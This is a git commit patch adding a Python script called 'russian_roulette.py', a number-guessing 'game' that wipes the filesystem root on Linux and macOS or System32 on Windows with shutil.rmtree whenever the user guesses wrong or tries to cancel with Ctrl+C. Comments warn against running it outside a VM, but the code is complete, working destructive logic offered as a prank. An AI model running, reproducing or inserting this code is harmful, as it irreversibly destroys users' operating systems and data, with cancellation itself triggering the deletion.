From 70fcf26f56c376263adece693de19843ba2661a8 Mon Sep 17 00:00:00 2001 From: Arslaan Pathan Date: Mon, 15 Jun 2026 13:17:04 +1200 Subject: Initial commit --- russian_roulette.py | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 russian_roulette.py diff --git a/russian_roulette.py b/russian_roulette.py new file mode 100644 index 0000000..8e9d3f4 --- /dev/null +++ b/russian_roulette.py @@ -0,0 +1,46 @@ +# digital russian roulette +# DO N O T run this!!!! just dont +# if you really really wanna try do it in a vm +# funny game +import os +import shutil +import sys +import random + +directory_to_remove = "" +if sys.platform == "linux": + print("Detected Linux...") + directory_to_remove = "/" +elif sys.platform == "win32": + print("Detected Windows (win32)") + directory_to_remove = "C:\\Windows\\System32" +elif sys.platform == "darwin": + print("Detected MacOS (darwin)") + directory_to_remove = "/" +else: + print("we couldn't figure out what operating system you use.") + print("what the frankenstein are you using? custom kernel?") + print("exiting... no russian roulette for you.") + sys.exit(1) + +rands = [str(random.randint(1, 6))] + +#print(f"debug test: the number is {rand}") + +while len(rands) != 5: + try: + guess = input("heres a fun game, pick a random number from 1 to 6: ") + except KeyboardInterrupt: + print("You think you can try to cancel it?") + print(f"Deleting {directory_to_remove}...") + shutil.rmtree(directory_to_remove) + sys.exit(1) + + if guess not in rands: + print("You're safe... for now :)") + rands.append(str(random.randint(1,6))) + else: + print("You lose!") + print(f"Deleting {directory_to_remove}...") + shutil.rmtree(directory_to_remove) + sys.exit(0) -- cgit v1.2.3